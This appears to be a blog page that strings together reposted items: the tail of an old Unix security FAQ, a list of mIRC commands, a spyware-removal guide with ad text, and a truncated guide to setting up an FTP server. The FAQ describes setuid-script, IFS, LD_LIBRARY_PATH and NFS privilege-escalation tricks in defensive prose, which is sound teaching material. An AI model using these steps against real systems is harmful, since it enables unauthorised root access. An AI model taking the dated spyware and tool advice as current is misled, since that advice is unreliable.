>server with a directory of FIRST information (csrc.ncsl.nist.gov:
>~/pub/first). This directory contains a contact file that lists the
>current members and their constituencies and contact information
>(filename "first-contacts").

>While CERT is a great organization, other response teams who do handle
>incidents on their parts of the Internet merit some mention as well -
>perhaps mentioning the existence of this file would help to do that in a
>limited space.

The file mentioned is a comprehensive listing of contact points per
network for security incidents. It is too large to reproduce here, I
suggest that the reader obtains a copy for his/her self by the means
given.

Q.10 What is a firewall?

A (Internet) firewall is a machine which is attached (usually) between
your site and a wide area network. It provides controllable filtering
of network traffic, allowing restricted access to certain internet port
numbers (ie: services that your machine would otherwise provide to the
network as a whole) and blocks access to pretty well everything else.
Similar machines are available for other network types, too.

Firewalls are an effective "all-or-nothing" approach to dealing with
external access security, and they are becoming very popular, with the
rise in Internet connectivity.

For more information on these sort of topics, see the Gateway paper by
[Cheswick], below.

Q.11 Why shouldn't I use setuid shell scripts?

You shouldn't use them for a variety of reasons, mostly involving bugs
in the Unix kernel. Here are a few of the more well known problems,
some of which are fixed on more recent operating systems.

1) If the script begins "#!/bin/sh" and a link (symbolic or otherwise)
can be made to it with the name "-i", a setuid shell can be immediately
obtained because the script will be invoked: "#!/bin/sh -i", ie: an
interactive shell.

2) Many kernels suffer from a race condition which can allow you to
exchange the shellscript for another executable of your choice between
the times that the newly exec()ed process goes setuid, and when the
command interpreter gets started up. If you are persistent enough, in
theory you could get the kernel to run any program you want.

3) The IFS bug: the IFS shell variable contains a list of characters to
be treated like whitespace by a shell when parsing command names. By
changing the IFS variable to contain the "/" character, the command
"/bin/true" becomes "bin true".

All you need do is export the modified IFS variable, install a command
called "bin" in your path, and run a setuid script which calls
"/bin/true". Then "bin" will be executed whilst setuid.

If you really must write scripts to be setuid, either

a) Put a setuid wrapper in "C" around the script, being very careful
to reset IFS and PATH to something sensible before exec()ing the
script. If your system has runtime linked libraries, consider the
values of the LD_LIBRARY_PATH also.

b) Use a scripting language like Perl which has a safe setuid
facility, and is proactively rabid about security.

- but really, it's safest not to use setuid scripts at all.

Q.12 Why shouldn't I leave "root" permanently logged on the console?

Using a 'smart' terminal as console and leaving "/dev/console" world
writable whilst "root" is logged in is a potential hole. The terminal
may be vulnerable to remote control via escape sequences, and can be
used to 'type' things into the root shell. The terminal type can
usually be obtained via the "ps" command.

Various solutions to this can be devised, usually by giving the console
owner and group-write access only , and then using the setgid mechanism
on any program which has need to output to the console (eg: "write").

Q.13 Why shouldn't I create Unix accounts with null passwords?

Creating an unpassworded account to serve any purpose is potentially
dangerous, not for any direct reason, but because it can give a cracker
a toehold.

For example, on many systems you will find a unpassworded user "sync",
which allows the sysman to sync the disks without being logged in. This
appears to be both safe and innocuous.

The problem with this arises if your system is one of the many which
doesn't do checks on a user before authorising them for (say) FTP. A
cracker might be able to connect to your machine for one of a variety of
FTP methods, pretending to be user "sync" with no password, and then
copy your password file off for remote cracking.

Although there are mechanisms to prevent this sort of thing happening in
most modern vesions of Unix, to be totally secure requires an in-depth
knowledge of every package on your system, and how it deals with the
verification of users. If you can't be sure, it's probably better not
to leave holes like this around.

Another hole that having null-password accounts opens up is the
possibility (on systems with runtime linked libraries) of spoofing
system software into running your programs as the "sync" user, by
changing the LD_LIBRARY_PATH variable to a library of your own devising,
and running "login -p" or "su" to turn into that user.

Q.14 What security holes are associated with X-windows (and other WMs)?

Lots, some which affect use of X only, and some which impact the
security of the entire host system.

I would prefer not to go into too much detail here, and would refer any
reader reader looking for detailed information to the other FAQ's in
relevant newsgroups. (comp.windows.*)

One point I will make is that X is one of those packages which often
generates "Incompatible Usage" security problems, for instance the
ability for crackers to run xsessions on hosts under accounts with no
password (eg: sync), if it is improperly set up. Read the question
about unpassworded accounts in this FAQ.

Q.15 What security holes are associated with NFS?

Lots, mostly to do with who you export your disks to, and how. The
security of NFS relies heavily upon who is allowed to mount the files
that a server exports, and whether they are exported read only or not.

The exact format for specifying which hosts can mount an exported
directory varies between Unix implementations, but generally the
information is contained within the file "/etc/exports".

This file contains a list of directories and for each one, it has a
series of either specific "hosts" or "netgroups" which are allowed to
NFS mount that directory. This list is called the "access list".

The "hosts" are individual machines, whilst "netgroups" are combinations
of hosts and usernames specified in "/etc/netgroup". These are meant to
provide a method of finetuning access. Read the relevant manual page
for more information about netgroups.

The exports file also contains information about whether the directory
is to be exported as read-only, read-write, and whether super-user
access is to be allowed from clients which mount that directory.

The important point to remember is that if the access list for a
particular directory in /etc/exports contains:

1) <nothing>

Your directory can be mounted by anyone, anywhere.

2) <a specific hostname>

Your directory can be mounted by anyone permitted to run the mount
command at hostname. This might not be a trustworthy person; for
instance, if the machine is a PC running NFS, it could be anyone.

3) <a netgroup name>

If the netgroup:

a) is empty, anyone can mount your directory, from anywhere.

b) contains "(,,)", anyone can mount your directory, from anywhere.

c) contains the name of a netgroup which is empty or contains "(,,)",
anyone can mount your directory, from anywhere.

d) contains "(hostname,,)", anyone on the named host who is permissioned
to mount files can mount your directory.

e) contains "(,username,)", the named user can mount your directory,
from anywhere.

4) <a word which is neither a hostname or a netgroup>

If you meant to export the directory to the host "athena" but actually
type "ahtena", the word "ahtena" is taken as a netgroup name, is found
to be an empty netgroup, and thus the directory can be mounted by
anyone, anywhere.

So, if you aren't careful about what you put into /etc/exports and
/etc/netgroup you could find that a user with a PC could

a) mount your mainframe filestore as a network disk
b) edit your /etc/passwd or .rhosts or /etc/hosts.equiv ...
c) log into your mainframe as another user, possibly "root"

Disclaimer: The above information may not be true for all platforms
which provide an NFS serving capability, but is true for all of the ones
in my experience (AEM). It should be noted that the SAFE way to create
an "empty" netgroup entry is:

ngname (-,-,-)

Which is a netgroup which matches no-one on no-host on no-NIS-domain.

[ I am STILL working on PC NFS packages / ethics at the moment - AEM ]

Q.16 How can I generate safe passwords?

You can't. The key word here is GENERATE. Once an algorithm for
creating passwords is specified using upon some systematic method, it
merely becomes a matter of analysing your algorithm in order to find
every password on your system.

Unless the algorithm is very subtle, it will probably suffer from a very
low period (ie: it will soon start to repeat itself) so that either:

a) a cracker can try out every possible output of the password
generator on every user of the system, or

b) the cracker can analyse the output of the password program,
determine the algorithm being used, and apply the algorithm to other
users to determine their passwords.

A beautiful example of this (where it was disastrously assumed that a
random number generator could generate an infinite number of random
passwords) is detailed in [Morris & Thompson].

The only way to get a reasonable amount of variety in your passwords
(I'm afraid) is to make them up. Work out some flexible method of your
own which is NOT based upon:

1) modifying any part of your name or name+initials
2) modifying a dictionary word
3) acronyms
4) any systematic, well-adhered-to algorithm whatsoever

For instance, NEVER use passwords like:

alec7 - it's based on the users name (& it's too short anyway)
tteffum - based on the users name again
gillian - girlfiends name (in a dictionary)
naillig - ditto, backwards
PORSCHE911 - it's in a dictionary
12345678 - it's in a dictionary (& people can watch you type it easily)
qwertyui - ...ditto...
abcxyz - ...ditto...
0ooooooo - ...ditto...
Computer - just because it's capitalised doesn't make it safe
wombat6 - ditto for appending some random character
6wombat - ditto for prepending some random character
merde3 - even for french words...
mr.spock - it's in a sci-fi dictionary
zeolite - it's in a geological dictionary
ze0lite - corrupted version of a word in a geological dictionary
ze0l1te - ...ditto...
Z30L1T3 - ...ditto...

I hope that these examples emphasise that ANY password derived from ANY
dictionary word (or personal information), modified in ANY way,
constitutes a potentially guessable password.

For more detailed information in the same vein, you should read the
APPENDIX files which accompany Crack [Muffett].

Q.17 Why are passwords so important?

Because they are the first line of defence against interactive attacks
on your system. It can be stated simply: if a cracker cannot interact
with your system(s), and he has no access to read or write the
information contained in the password file, then he has almost no
avenues of attack left open to break your system.

This is also why, if a cracker can at least read your password file (and
if you are on a vanilla modern Unix, you should assume this) it is so
important that he is not able to break any of the passwords contained
therein. If he can, then it is also fair to assume that he can (a) log
on to your system and can then (b) break into "root" via an operating
system hole.

Q.18 How many possible passwords are there?

Most people ask this at one time or another, worried that programs like
Crack will eventually grow in power until they can do a completely
exhaustive search of all possible passwords, to break into a specific
users' account - usually root.

If (to simplify the maths) we make the assumptions that:

1) Valid passwords are created from a set of 62 chars [A-Za-z0-9]
2) Valid passwords are to be between 5 and 8 chars long

Then the size of the set of all valid passwords is: (in base 62)

100000 +
1000000 +
10000000 +
100000000 =
---------
111100000 (base 62)

A figure which is far too large to usefully undertake an exhaustive
search with current technologies. Don't forget, however, that passwords
CAN be made up with even more characters then this; you can use <space>,
all the punctuation characters, and symbols (~<>|\#$%^&*) too. If you
can use some of all the 95 non-control characters in passwords, this
increases the search space for a cracker to cover even further.

However, it's still MUCH more efficient for a cracker to get a copy of
"Crack", break into ANY account on the system (you only need one), log
onto the machine, and spoof his way up to root priviledges via operating
systems holes.

Take comfort from these figures. If you can slam the door in the face
of a potential crackers with a robust password file, you have sealed
most of the major avenues of attack immediately.

Q.19 Where can I get more information?

Books:

[Kochan & Wood]
Unix System Security

A little dated for modern matters, but still a very good book on the
basics of Unix security.

[Spafford & Garfinkel]
Practical Unix Security

This wonderful book is a worthy successor to the above, and covers a
wide variety of the topics which the Unix (and some non Unix) system
manager of the 90's will come across.

>From: Gene Spafford <spaf@cs.purdue.edu>
>Mention appendix E in "Practical Unix Security."

Okay: Appendix E contains an extensive bibliography with even more
pointers to security books than this FAQ contains.

[Stoll]
The Cuckoo's Egg

A real life 1980's thriller detailing the tracing of a cracker from
Berkeley across the USA and over the Atlantic to Germany. An excellent
view from all points: a good read, informative about security, funny,
and a good illustration of the cracker psyche. Contains an excellent
recipie for chocolate chip cookies.

A videotape of the "NOVA" (PBS's Science Program on TV) episode that
explained/reenacted this story is available from PBS Home Video. They
have a toll-free 800 number within North America.

I believe that this program was aired on the BBC's "HORIZON" program,
and thus will be available from BBC Enterprises, but I haven't checked
this out yet - AEM

[Raymond] (Ed.)
The New Hackers Dictionary/Online Jargon File

A mish-mash of history and dictionary definitions which explains why it
is so wonderful to be a hacker, and why those crackers who aren't
hackers want to be called "hackers". The Jargon File version is
available online - check an archie database for retails. Latest
revision: 2.99.

[Gasser]
Building a Secure Computer System.

By Morrie Gasser, and van Nostrand Reinhold; explains what is required
to build a secure computer system.

[Rainbow Series] (Especially the "Orange Book")

>From: epstein@trwacs.fp.trw.com (Jeremy Epstein)
>The "Rainbow Series" consists of about 25 volumes. Some of the
>more interesting ones are:
>
> The "Orange Book", or Trusted Computer Systems Evaluation
> Criteria, which describes functional and assurance
> requirements for computer systems
>
> Trusted Database Interpretation, which talks both about
> trusted databases and building systems out of trusted
> components
>
> Trusted Network Interpretation, which (obviously) talks
> about networked systems
>
>A (possibly) complete list is:
> -- Department of Defense Trusted Computer System Evaluation Criteria
> (TCSEC), aka the "Orange Book"
> -- Computer Security Subsystem Interpretation of the TCSEC
> -- Trusted Data Base Management System Interpretation of the TCSEC
> -- Trusted Network Interpretation of the TCSEC
> -- Trusted Network Interpretation Environments Guideline -- Guidance
> for Applying the Trusted Network Interpretation
> -- Trusted Unix Working Group (TRUSIX) Rationale for Selecting
> Access Control List Features for the Unix System
> -- Trusted Product Evaulations -- A Guide for Vendors
> -- Computer Security Requirements -- Guidance for Applying the DoD
> TCSEC in Specific Environments
> -- Technical Rationale Behind CSC-STD-003-85: Computer Security
> Requirements
> -- Trusted Product Evaluation Questionnaire
> -- Rating Maintenance Phase -- Program Document
> -- Guidelines for Formal Verification Systems
> -- A Guide to Understanding Audit in Trusted Systems
> -- A Guide to Understanding Trusted Facility Management
> -- A Guide to Understanding Discretionary Access Control in Trusted
> Systems
> -- A Guide to Understanding Configuration Management in Trusted
Systems
> -- A Guide to Understanding Design Documentation in Trusted Systems
> -- A Guide to Understanding Trusted Distribution in Trusted Systems
> -- A Guide to Understanding Data Remanence in Automated Information
> Systems
> -- Department of Defense Password Management Guideline
> -- Glossary of Computer Security Terms
> -- Integrity in Automated Information Systems
>
>You can get your own copy (free) of any or all of the books by
>writing or calling:
>
> INFOSEC Awareness Office
> National Computer Security Centre
> 9800 Savage Road
> Fort George G. Meade, MD 20755-6000
> Tel +1 301 766-8729
>
>If you ask to be put on the mailing list, you'll get a copy of each new
>book as it comes out (typically a couple a year).

>From: kleine@fzi.de (Karl Kleine)
>I was told that this offer is only valid for US citizens ("We only send
>this stuff to a US postal address"). Non-US people have to PAY to get
>hold of these documents. They can be ordered from NTIS, the National
>Technical Information Service:
> NTIS,
> 5285 Port Royal Rd,
> Springfield VA 22151,
> USA
> order dept phone: +1-703-487-4650, fax +1-703-321-8547

>From: Ulf Kieber <kieber@de.tu-dresden.inf.freia>
>just today I got my set of the Rainbow Series.
>
>There are three new books:
> -- A Guide to Understanding Trusted Recovery in Trusted Systems
> -- A Guide to Understanding Identification and Authentication in Trusted
> Systems
> -- A Guide to Writing the Security Features User's Guide for Trusted Systems
>
>They also shipped
> -- Advisory Memorandum on Office Automation Security Guideline
>issued by NTISS. Most of the books (except three or four) can also be
>purchased from
>
> U.S. Government Printing Office
> Superintendent of Documents
> Washington, DC 20402 phone: (202) 783-3238
>
>>-- Integrity in Automated Information Systems
>THIS book was NOT shipped to me--I'm not sure if it is still in
>the distribution.

>From: epstein@trwacs.fp.trw.com (Jeremy Epstein)
>...
>The ITSEC (Information Technology Security Evaluation Criteria) is a
>harmonized document developed by the British, German, French, and
>Netherlands governments. It separates functional and assurance
>requirements, and has many other differences from the TCSEC.
>
>You can get your copy (again, free/gratis) by writing:
>
> Commission of the European Communities
> Directorate XIII/F
> SOG-IS Secretariat
> Rue de la Loi 200
> B-1049 BRUSSELS
> Belgium

Also note that NCSC periodically publish an "Evaluated Products List"
which is the definitive statement of which products have been approved
at what TCSEC level under which TCSEC interpretations. This is useful
for separating the output of marketdroids from the truth.

Papers:

[Morris & Thompson]
Password Security, A Case History

A wonderful paper, first published in CACM in 1974, which is now often
to found in the Unix Programmer Docs supplied with many systems.

[Curry]
Improving the Security of your Unix System.

A marvellous paper detailing the basic security considerations every
Unix systems manager should know. Available as "security-doc.tar.Z"
from FTP sites (check an Archie database for your nearest site.)

[Klein]
Foiling the Cracker: A Survey of, and Improvements to, Password Security.

A thorough and reasoned analysis of password cracking trends, and the
reasoning behind techniques of password cracking. Your nearest copy
should be easily found via Archie, searching for the keyword "Foiling".

[Cheswick]
The Design of a Secure Internet Gateway.

Great stuff. It's research.att.com:/dist/Secure_Internet_Gateway.ps

[Cheswick]
An Evening With Berferd: in which a Cracker is Lured, Endured and Studied.

Funny and very readable, somewhat in the style of [Stoll] but more
condensed. research.att.com:/dist/berferd.ps

[Bellovin89]
Security Problems in the TCP/TP Protocol Suite.

A description of security problems in many of the protocols widely used
in the Internet. Not all of the discussed protocols are official
Internet Protocols (i.e. blessed by the IAB), but all are widely used.
The paper originally appeared in ACM Computer Communications Review,
Vol 19, No 2, April 1989. research.att.com:/dist/ipext.ps.Z

[Bellovin91]
Limitations of the Kerberos Authentication System

A discussion of the limitations and weaknesses of the Kerberos
Authentication System. Specific problems and solutions are presented.
Very worthwhile reading. Available on research.att.com via anonymous
ftp, originally appeared in ACM Computer Communications Review but the
revised version (identical to the online version, I think) appeared in
the Winter 1991 USENIX Conference Proceedings.

[Muffett]
Crack documentation.

The information which accompanies Crack contains a whimsical explanation
of password cracking techniques and the optimisation thereof, as well as
an incredibly long and silly diatribe on how to not choose a crackable
password. A good read for anyone who needs convincing that password
cracking is _really easy_.

[Farmer]
COPS

Read the documentation provided with COPS. Lots of hints and
philosophy. The where, why and how behind the piece of security
software that started it all.

[CERT]
maillists/advisories/clippings

CERT maintains archives of useful bits of information that it gets from
USENET and other sources. Also archives of all the security
"advisories" that it has posted (ie: little messages warning people that
there is a hole in their operating system, and where to get a fix)

[OpenSystemsSecurity]

A notorious (but apparently quite good) document, which has been dogged
by being in a weird postscript format.

>From: amesml@monu1.cc.monash.edu.au (Mark L. Ames)

>I've received many replies to my posting about Arlo Karila's paper,
>including the news (that I and many others have missed) that a
>manageable postscript file and text file are available via anonymous ftp
>from ajk.tele.fi (131.177.5.20) in the directory PublicDocuments.

These are all available for FTP browsing from "cert.sei.cmu.edu".

[RFC-1244]
Site Security Handbook

RFC-1244 : JP Holbrook & JK Reynolds (Eds.) "The Site Security Handbook"
covering incident handling and prevention. July 1991; 101 pages
(Format: TXT=259129 bytes), also called "FYI 8"

[USENET]
comp.virus: for discussions of virii and other nasties, with a PC bent.
comp.unix.admin: for general administration issues
comp.unix.<platform>: for the hardware/software that YOU use.
comp.protocols.tcp-ip: good for problems with NFS, etc.

Q.20 How silly can people get?

This section (which I hope to expand) is a forum for learning by
example; if people have a chance to read about real life (preferably
silly) security incidents, it will hopefully instill in readers some of
the zen of computer security without the pain of experiencing it.

If you have an experience that you wish to share, please send it to the
editors. It'll boost your karma no end.

---------------------------------------------------------------------------
aem@aber.ac.uk: The best story I have is of a student friend of mine
(call him Bob) who spent his industrial year at a major computer
manufacturing company. In his holidays, Bob would come back to college
and play AberMUD on my system.

Part of Bob's job at the company involved systems management, and the
company was very hot on security, so all the passwords were random
strings of letters, with no sensible order. It was imperative that the
passwords were secure (this involved writing the random passwords down
and locking them in big, heavy duty safes).

One day, on a whim, I fed the MUD persona file passwords into Crack as a
dictionary (the passwords were stored plaintext) and then ran Crack on
our systems password file. A few student accounts came up, but nothing
special. I told the students concerned to change their passwords - that
was the end of it.

Being the lazy guy I am, I forgot to remove the passwords from the Crack
dictionary, and when I posted the next version to USENET, the words went
too. It went to the comp.sources.misc moderator, came back over USENET,
and eventually wound up at Bob's company. Round trip: ~10,000 miles.

Being a cool kinda student sysadmin dude, Bob ran the new version of
Crack when it arrived. When it immediately churned out the root
password on his machine, he damn near fainted...

The moral of this story is: never use the same password in two different
places, and especially on untrusted systems (like MUDs).

--
aem@aber.ac.uk aem@uk.ac.aber aem%aber@ukacrl.bitnet mcsun!uknet!aber!aem
- send (cryptographic) comp.sources.misc material to: aem@aber.ac.uk -

All mIRC Commands

2013-02-01T22:03:00.000+07:00

All mIRC Commands

/ Recalls the previous command entered in the current window.
/! Recalls the last command typed in any window.
/action {action text} Sends the specifed action to the active channel or query window.
/add [-apuce] {filename.ini} Loads aliases, popups, users, commands, and events.
/ame {action text} Sends the specifed action to all channels which you are currently on.
/amsg {text} Sends the specifed message to all channels which you are currently on.
/auser {level} {nick|address} Adds a user with the specified access level to the remote users
list.
/auto [on|off|nickname|address] Toggles auto-opping of a nick or address or sets it on or off
totally.
/away {away message} Sets you away leave a message explaining that you are not currently paying
attention to IRC.
/away Sets you being back.
/ban [#channel] {nickname} [type] Bans the specified nick from the curent or given channel.
/beep {number} {delay} Locally beeps 'number' times with 'delay' in between the beeps. /channel
Pops up the channel central window (only works in a channel).
/clear Clears the entire scrollback buffer of the current window.
/ctcp {nickname} {ping|finger|version|time|userinfo|clientinfo} Does the given ctcp request on
nickname.
/closemsg {nickname} Closes the query window you have open to the specified nick.
/creq [ask | auto | ignore] Sets your DCC 'On Chat request' settings in DCC/Options.
/dcc send {nickname} {file1} {file2} {file3} ... {fileN} Sends the specified files to nick.
/dcc chat {nickname} Opens a dcc window and sends a dcc chat request to nickname.
/describe {#channel} {action text} Sends the specifed action to the specified channel window.
/dde [-r] {service} {topic} {item} [data] Allows DDE control between mIRC and other
applications.
/ddeserver [on [service name] | off] To turn on the DDE server mode, eventually with a given
service name.
/disable {#groupname} De-activates a group of commands or events.
/disconnect Forces a hard and immediate disconnect from your IRC server. Use it with care.
/dlevel {level} Changes the default user level in the remote section.
/dns {nickname | IP address | IP name} Uses your providers DNS to resolve an IP address.
/echo [nickname|#channel|status] {text} Displays the given text only to YOU on the given place
in color N.
/enable {#groupname} Activates a group of commands or events.
/events [on|off] Shows the remote events status or sets it to listening or not.
/exit Forces mIRC to closedown and exit.
/finger Does a finger on a users address.
/flood [{numberoflines} {seconds} {pausetime}] Sets a crude flood control method.
/fsend [on|off] Shows fsends status and allows you to turn dcc fast send on or off.
/fserve {nickname} {maxgets} {homedirectory} [welcome text file] Opens a fileserver.
/guser {level} {nick} [type] Adds the user to the user list with the specified level and
address type.
/help {keyword} Brings up the Basic IRC Commands section in the mIRC help file.
/ignore [on|off|nickname|address] Toggles ignoring of a nick or address or sets it on or off
totally.
/invite {nickname} {#channel} Invites another user to a channel.
/join {#channel} Makes you join the specified channel.
/kick {#channel} {nickname} Kicks nickname off a given channel.
/list [#string] [-min #] [-max #] Lists all currently available channels, evt. filtering for
parameters.
/log [on|off] Shows the logging status or sets it on or off for the current window.
/me {action text} Sends the specifed action to the active channel or query window.
/mode {#channel|nickname} [[+|-]modechars [parameters]] Sets channel or user modes.
/msg {nickname} {message} Send a private message to this user without opening a query window.
/names {#channel} Shows the nicks of all people on the given channel.
/nick {new nickname} Changes your nickname to whatever you like.
/notice {nick} {message} Send the specified notice message to the nick.
/notify [on|off|nickname] Toggles notifying you of a nick on IRC or sets it on or off totally.
/onotice [#channel] {message} Send the specified notice message to all channel ops.
/omsg [#channel] {message} Send the specified message to all ops on a channel.
/part {#channel} Makes you leave the specified channel.
/partall Makes you leave all channels you are on.
/ping {server address} Pings the given server. NOT a nickname.
/play [-c] {filename} [delay] Allows you to send text files to a window.
/pop {delay} [#channel] {nickname} Performs a randomly delayed +o on a not already opped nick.
/protect [on|off|nickname|address] Toggles protection of a nick or address or sets it on or off
totally.
/query {nickname} {message} Open a query window to this user and send them the private message.
/quit [reason] Disconnect you from IRC with the optional byebye message.
/raw {raw command} Sends any raw command you supply directly to the server. Use it with care!!
/remote [on|off] Shows the remote commands status or sets it to listening or not.
/rlevel {access level} Removes all users from the remote users list with the specified access
level.
/run {c:\path\program.exe} [parameters] Runs the specified program, evt. with parameters.
/ruser {nick[!]|address} [type] Removes the user from the remote users list.
/save {filename.ini} Saves remote sections into a specified INI file.
/say {text} Says whatever you want to the active window.
/server [server address [port] [password]] Reconnects to the previous server or a newly
specified one.
/sound [nickname|#channel] {filename.wav} {action text} Sends an action and a fitting sound.
/speak {text} Uses the external text to speech program Monologue to speak up the text.
/sreq [ask | auto | ignore] Sets your DCC 'On Send request' settings in DCC/Options.
/time Tells you the time on the server you use.
/timer[N] {repetitions} {interval in seconds} {command} [| {more commands}] Activates a timer.
/topic {#channel} {newtopic} Changes the topic for the specified channel.
/ulist [{|}]{level} Lists all users in the remote list with the specified access levels.
/url [-d] Opens the URL windows that allows you to surf the www parallel to IRC.
/uwho [nick] Pops up the user central with information about the specified user.
/who {#channel} Shows the nicks of all people on the given channel.
/who {*address.string*} Shows all people on IRC with a matching address.
/whois {nickname} Shows information about someone in the status window.
/whowas {nickname} Shows information about someone who -just- left IRC.
/wavplay {c:\path\sound.wav} Locally plays the specified wave file.
/write [-cidl] {filename} [text] To write the specified text to a .txt file.

MoViEBoT #xdcc-help /server irc.atomic-irc.net

We strive to make IRC easier for you!

All Kind of Spywares

2013-02-01T21:57:00.001+07:00

There are a lot of PC users that know little about "Spyware", "Mal-ware", "hijackers", "Dialers" & many more. This will help you avoid pop-ups, spammers and all those baddies.

What is spy-ware?

Spy-ware is Internet jargon for Advertising Supported software (Ad-ware). It is a way for shareware authors to make money from a product, other than by selling it to the users. There are several large media companies that offer them to place banner ads in their products in exchange for a portion of the revenue from banner sales. This way, you don't have to pay for the software and the developers are still getting paid. If you find the banners annoying, there is usually an option to remove them, by paying the regular licensing fee.

Known spywares

There are thousands out there, new ones are added to the list everyday. But here are a few:
Alexa, Aureate/Radiate, BargainBuddy, ClickTillUWin, Conducent Timesink, Cydoor, Comet Cursor, eZula/KaZaa Toptext, Flashpoint/Flashtrack, Flyswat, Gator, GoHip, Hotbar, ISTbar, Lions Pride Enterprises/Blazing Logic/Trek Blue, Lop (C2Media), Mattel Brodcast, Morpheus, NewDotNet, Realplayer, Songspy, Xupiter, Web3000, WebHancer, Windows Messenger Service.

How to check if a program has spyware?
The is this Little site that keeps a database of programs that are known to install spyware.

Check Here: http://www.spywareguide.com/product_search.php

If you would like to block pop-ups (IE Pop-ups).
There tons of different types out there, but these are the 2 best, i think.

Try: Google Toolbar (http://toolbar.google.com/) This program is Free
Try: AdMuncher (http://www.admuncher.com) This program is Shareware

If you want to remove the "spyware" try these.
Try: Lavasoft Ad-Aware (http://www.lavasoftusa.com/) This program is Free
Info: Ad-aware is a multi spyware removal utility, that scans your memory, registry and hard drives for known spyware components and lets you remove them. The included backup-manager lets you reinstall a backup, offers and multi language support.

Try: Spybot-S&D (http://www.safer-networking.org/) This program is Free

Info: Detects and removes spyware of different kinds (dialers, loggers, trojans, user tracks) from your computer. Blocks ActiveX downloads, tracking cookies and other threats. Over 10,000 detection files and entries. Provides detailed information about found problems.

Try: BPS Spyware and Adware Remover (http://www.bulletproofsoft.com/spyware-remover.html) This program is Shareware
Info: Adware, spyware, trackware and big brotherware removal utility with multi-language support. It scans your memory, registry and drives for known spyware and lets you remove them. Displays a list and lets you select the items you'd like to remove.

Try: Spy Sweeper v2.2 (http://www.webroot.com/wb/products/spysweeper/index.php) This program is Shareware
Info: Detects and removes spyware of different kinds (dialers, loggers, trojans, user tracks) from your computer.
The best scanner out there, and updated all the time.

Try: HijackThis 1.97.7 (http://www.spywareinfo.com/~merijn/downloads.html) This program is Freeware
Info: HijackThis is a tool, that lists all installed browser add-on, buttons, startup items and allows you to inspect them, and optionally remove selected items.

If you would like to prevent "spyware" being install.
Try: SpywareBlaster 2.6.1 (http://www.wilderssecurity.net/spywareblaster.html) This program is Free
Info: SpywareBlaster doesn`t scan and clean for so-called spyware, but prevents it from being installed in the first place. It achieves this by disabling the CLSIDs of popular spyware ActiveX controls, and also prevents the installation of any of them via a webpage.

Try: SpywareGuard 2.2 (http://www.wilderssecurity.net/spywareguard.html) This program is Free
Info: SpywareGuard provides a real-time protection solution against so-called spyware. It works similar to an anti-virus program, by scanning EXE and CAB files on access and alerting you if known spyware is detected.

Try: XP-AntiSpy (http://www.xp-antispy.org/) This program is Free
Info: XP-AntiSpy is a small utility to quickly disable some built-in update and authentication features in WindowsXP that may rise security or privacy concerns in some people.

Try: SpySites (http://camtech2000.net/Pages/SpySites_Prog...ml#SpySitesFree) This program is Free
Info: SpySites allows you to manage the Internet Explorer Restricted Zone settings and easily add entries from a database of 1500+ sites that are known to use advertising tracking methods or attempt to install third party software.

If you would like more Information about "spyware".
Check these sites.
http://www.spychecker.com/
http://www.spywareguide.com/
http://www.cexx.org/adware.htm
http://www.theinfomaniac.net/infomaniac/co...rsSpyware.shtml
http://www.thiefware.com/links/
http://simplythebest.net/info/spyware.html

Usefull tools...
Try: Stop Windows Messenger Spam 1.10 (http://www.jester2k.pwp.blueyonder.co.uk/j...r2ksoftware.htm) This program is Free
Info: "Stop Windows Messenger Spam" stops this Service from running and halts the spammers ability to send you these messages.

----------------------------------------------------------------------------
All these softwares will help remove and prevent evil spammers and spywares attacking your PC. I myself recommend getting "spyblaster" "s&d spybot" "spy sweeper" & "admuncher" to protect your PC. A weekly scan is also recommended

Free Virus Scan
Scan for spyware, malware and keyloggers in addition to viruses, worms and trojans. New threats and annoyances are created faster than any individual can keep up with.
http://defender.veloz.com// - 15k

Finding . is a Click Away at 2020Search.com
Having trouble finding what you re looking for on: .? 2020Search will instantly provide you with the result you re looking for by drawing on some of the best search engines the Internet has to offer. Your result is a click away!
http://www.2020search.com// - 43k

Download the BrowserVillage Toolbar.
Customize your Browser! Eliminate Pop-up ads before they start, Quick and easy access to the Web, and much more. Click Here to Install Now!
http://www.browservillage.com/ - 36k

Thanks for visit. Share it if you think that its usefull.

All about ftp must read

2013-01-31T01:00:00.000+07:00

Setting Up A Ftp:

Well, since many of us have always wondered this, here it is. Long and drawn out. Also, before attempting this, realize one thing; You will have to give up your time, effort, bandwidth, and security to have a quality ftp server.
That being said, here it goes. First of all, find out if your IP (Internet Protocol) is static (not changing) or dynamic (changes everytime you log on). To do this, first consider the fact if you have a dial up modem. If you do, chances are about 999 999 out of 1 000 000 that your IP is dynamic. To make it static, just go to a place like h*tp://www.myftp.org/ to register for a static ip address.

You'll then need to get your IP. This can be done by doing this:
Going to Start -> Run -> winipcfg or www.ask.com and asking 'What is my IP?'

After doing so, you'll need to download an FTP server client. Personally, I'd recommend G6 FTP Server, Serv-U FTPor Bullitproof v2.15 all three of which are extremely reliable, and the norm of the ftp world.
You can download them on this site: h*tp://www.liaokai.com/softw_en/d_index.htm

First, you'll have to set up your ftp. For this guide, I will use step-by-step instructions for G6. First, you'll have to go into 'Setup -> General'. From here, type in your port # (default is 21). I recommend something unique, or something a bit larger (ex: 3069). If you want to, check the number of max users (this sets the amount of simultaneous maximum users on your server at once performing actions - The more on at once, the slower the connection and vice versa).

The below options are then chooseable:
-Launch with windows
-Activate FTP Server on Start-up
-Put into tray on startup
-Allow multiple instances
-Show "Loading..." status at startup
-Scan drive(s) at startup
-Confirm exit

You can do what you want with these, as they are pretty self explanatory. The scan drive feature is nice, as is the 2nd and the last option. From here, click the 'options' text on the left column.

To protect your server, you should check 'login check' and 'password check', 'Show relative path (a must!)', and any other options you feel you'll need. After doing so, click the 'advanced' text in the left column. You should then leave the buffer size on the default (unless of course you know what you're doing ), and then allow the type of ftp you want.

Uploading and downloading is usually good, but it's up to you if you want to allow uploads and/or downloads. For the server priority, that will determine how much conventional memory will be used and how much 'effort' will go into making your server run smoothly.

Anti-hammering is also good, as it prevents people from slowing down your speed. From here, click 'Log Options' from the left column. If you would like to see and record every single command and clutter up your screen, leave the defaults.

But, if you would like to see what is going on with the lowest possible space taken, click 'Screen' in the top column. You should then check off 'Log successful logins', and all of the options in the client directry, except 'Log directory changes'. After doing so, click 'Ok' in the bottom left corner.

You will then have to go into 'Setup -> User Accounts' (or ctrl & u). From here, you should click on the right most column, and right click. Choose 'Add', and choose the username(s) you would like people to have access to.

After giving a name (ex: themoonlanding), you will have to give them a set password in the bottom column (ex: wasfaked). For the 'Home IP' directory, (if you registered with a static server, check 'All IP Homes'. If your IP is static by default, choose your IP from the list. You will then have to right click in the very center column, and choose 'Add'.

